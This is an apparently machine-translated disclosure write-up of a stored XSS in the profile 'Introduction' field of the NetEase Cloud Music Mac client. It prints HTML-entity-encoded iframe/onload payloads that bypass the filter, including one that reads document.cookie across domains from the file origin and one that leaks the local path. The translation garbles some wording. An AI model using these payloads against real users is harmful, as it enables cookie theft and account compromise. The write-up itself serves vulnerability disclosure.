Netease cloud music Mac edition XSS Vulnerability (file domain)

Netease cloud music Mac edition XSS Vulnerability (file domain)

 

Recently, the client XSS has accumulated some experience, so Attach the test process. After testing several input points, an exception was found in "Modify Personal Data"-"Introduction.

Input:

<A> asd </a>

Output:

<A rel = "nofollow"> asd </a>

 

This is a typical "Silver-free three hundred" processing method. This is because the programmer makes such changes to user input .. This stuff must be parsed as html somewhere. Start viewing other pages. On the friend page, I found that the content in the introduction was actually parsed as html. The reason I think this is simple because the pointer changes when the mouse moves to asd due to the anchor tag (if complex vectors are used when the source code cannot be viewed, when a programmer filters user input, it is difficult to determine whether it is not parsed or filtered .).
 

Then we started to increase the vector complexity, but do not rush to execute js.

Input:

<Iframe src = http://baidu.com>

Output: Nothing, all removed.

Then, let's see if the programmer has performed "redundant" decoding.

Input:

& Lt; iframe src = http://baidu.com>

Output:

<Iframe src = http://baidu.com>

It seems that there is .. We can see that our iframe has been loaded, for example:
 

Now, let's see if Javascript can be executed?

Input:

<Iframe src = http://baidu.com onload = alert (1)>

Output:

<Iframe src = http://baidu.com on load = alert (1)>

When I switched to my friend's page again, I found nothing to play .. Does it filter alert? After changing to prompt:
 

Again. I have to say that programmers are still very naughty. Now let's confirm two things. One is protocol and the other is the user agent.

Input:

& Lt; iframe src = http://baidu.com onload = prompt (location. protocol + navigator. userAgent)>

Result:
 

It looks like safari + local region. This is fun, because the safari file domain can span any domain. Next, modify the personal data (the double quotation marks are also filtered here, so the code is as follows ):

& Lt; iframe name = m src = http://zone.wooyun.org onload = & # 34window. open (& #39 javascript: prompt (document. cookie) & #39, & #39 m & #39) & #34>

Result:
 

We can see that zone.wooyun.org cookie is obtained across domains. Of course, cookies are useless for this site.

After all, there is still httponly flag. So it just proves the feasibility. Another problem is that location will leak the System user name.

Input:

& Lt; iframe name = m src = http://zone.wooyun.org onload = prompt (location)>

Result:

Now we can see that csrf is perfect. But packet capture is found. The update request still has a token:

URL = http://music.163.com/api/user/profile/update? Csrf_token = 7f3948015b96761e93a4eed%122ca0

It took me a lot of time to get this idea. So I don't want to waste any time on this application.
 

Solution:

It is only self-XSS. But I cannot think of it. It doesn't mean there is no way for others. Ignore this issue. Fix the output here.